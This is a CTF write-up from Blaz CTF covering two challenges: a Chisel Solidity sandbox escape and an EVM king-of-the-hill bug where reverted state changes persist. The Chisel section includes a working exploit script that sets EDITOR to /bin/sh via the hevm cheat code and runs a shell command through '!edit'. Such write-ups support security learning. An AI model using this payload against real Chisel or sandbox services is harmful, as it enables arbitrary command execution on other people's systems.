I played blaz CTF as KimchiPremium, had a lot of fun with the awesome kimchi hackers
Chisel as a Service
Chisel as a Service Mina just develops a highly robust Solidity sandbox!
Connect to Challenge: nc chisel-as-a-service.chal.ctf.so 1337 Your Ticket: 2b88a986-595d-45b0-9a24-2aa11a6c5c6d
Handouts
/* Author: minaminao */
# Solidity,Sandbox / 25 solves / 371 pts
The server runs chisel
with the --no-vm
option, and the -e (or -exec) keyword is disabled. The flag’s filename is random, so we need to get a shell.”
chisel commands
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
No solidity versions installed! Installing solidity version 0.8.19...
Welcome to Chisel! Type `!help` to show available commands.
⚒️ Chisel help
=============
General
!help | !h - Display all commands
!quit | !q - Quit Chisel
!exec <command> [args] | !e <command> [args] - Execute a shell command and print the output
Session
!clear | !c - Clear current session source
!source | !so - Display the source code of the current session
!save [id] | !s [id] - Save the current session to cache
!load <id> | !l <id> - Load a previous session ID from cache
!list | !ls - List all cached sessions
!clearcache | !cc - Clear the chisel cache of all stored sessions
!export | !ex - Export the current session source to a script file
!fetch <addr> <name> | !fe <addr> <name> - Fetch the interface of a verified contract on Etherscan
!edit - Open the current session in an editor
Environment
!fork <url> | !f <url> - Fork an RPC for the current session. Supply 0 arguments to return to a local network
!traces | !t - Enable / disable traces for the current session
!calldata [data] | !cd [data] - Set calldata (`msg.data`) for the current session (appended after function selector). Clears it if no argument provided.
Debug
!memdump | !md - Dump the raw memory of the current state
!stackdump | !sd - Dump the raw stack of the current state
!rawstack <var> | !rs <var> - Display the raw value of a variable's stack allocation. For variables that are > 32 bytes in length, this will display their memory pointer.
To execute shell commands, we need to find a command that uses process::Command
. Not only the exec
command, but also the edit
command uses Command to open the editor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ChiselCommand::Edit => {
// create a temp file with the content of the run code
let mut temp_file_path = std::env::temp_dir();
temp_file_path.push("chisel-tmp.sol");
let result = std::fs::File::create(&temp_file_path)
.map(|mut file| file.write_all(self.source().run_code.as_bytes()));
if let Err(e) = result {
return DispatchResult::CommandFailed(format!(
"Could not write to a temporary file: {e}"
))
}
// open the temp file with the editor
let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
let mut cmd = Command::new(editor);
cmd.arg(&temp_file_path);
match cmd.status() {
...
In the edit
command, it saves the currently running code to /tmp/chisel-tmp.sol
and then executes the editor with the file as an argument
With the setEnv function in the Vm cheat code, we can set the EDITOR
environment variable to /bin/sh
and execute the running code as a shell script. However, the --no-vm
flag is set. What exactly does this flag do?
–no-vm flag
1
2
3
4
5
6
7
8
9
10
11
12
pub fn to_repl_source(&self) -> String {
let Version { major, minor, patch, .. } = self.solc.version;
let Self { contract_name, global_code, top_level_code, run_code, config, .. } = self;
let (vm_import, vm_constant) = if !config.no_vm {
(
"import {Vm} from \"forge-std/Vm.sol\";\n",
"Vm internal constant vm = Vm(address(uint160(uint256(keccak256(\"hevm cheat code\")))));\n"
)
} else {
("", "")
};
In the chisel code, when the --no-vm
flag is set, it doesn’t import the Vm
contract or set the vm
constant. That’s all. We can still call the cheat codes in the Vm contract using the address address(uint160(uint256(keccak256("hevm cheat code"))))
.
By setting the EDITOR
environment variable to /bin/sh
, we can execute the contents of the running code as a shell script. However, the running code needs to be valid Solidity. To work around this, we can simply add a comment with ;
and run cat flag, like //; cat /flag-*.
exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "http://snwo.kr:3000/"
code = """
//;cat /flag-*
address hevm = address(uint160(uint256(keccak256("hevm cheat code"))));
interface VM { function setEnv(string calldata key, string calldata value) external; }
VM vm = VM(hevm);
vm.setEnv("EDITOR", "/bin/sh");
!edit
"""
uuid = requests.get(url+"run",params={"code":code}).json()['uuid']
r = requests.get(url+"out/"+uuid)
print(r.text)
Teragas
Teragas After getting exploited by REVMC bug, Tony started to hate Paradigm. Seeing Paradigm invested in so many parallel EVM chains and built Reth, Tony decided to build an even faster chain to compete with them.
This is a King Of the Hill challenge. The more ETHs you steal, the more points you would get. Submit your exploit at teragas.ctf.so … /* Author: shoucccc */
# KoH,EVM / 6 solves / 2500 pts
Team KimchiPremium:
1986007ETH
Team DPRK Workers In Your Company: 1796703ETH Team Wut is Ciallo: 1656267ETH Team Amber Labs: 1532119ETH Team offside_labs_interns: 1478952ETH Team DeFiHackLabs: 277542ETH Team shou: 0ETH
Just a brief writeup. we earned a total of 19,986,007
ETH. There was a bug that each state-related opcodes do not recover the state when it reverts. So we can leverage this to bypass check balance or smth.
1
2
3
4
5
6
7
8
9
function join(address usr, uint wad) external note {
vat.move(address(this), usr, mul(ONE, wad));
dai.burn(msg.sender, wad);
}
function exit(address usr, uint wad) external note {
require(live == 1, "DaiJoin/not-live");
vat.move(msg.sender, address(this), mul(ONE, wad));
dai.mint(usr, wad);
}
For example, in the MakerDAO contract, tokens are minted first and then the balance is checked. Since the sstore opcode doesn’t revert the state when the transaction reverts, we were able to keep the minted tokens.
We drained all WETH pairs of top TVL swaps, as well as flash loan contracts, bridges, and smth… It was a lot of fun exploring the Ethereum chain to drain the contracts 🫠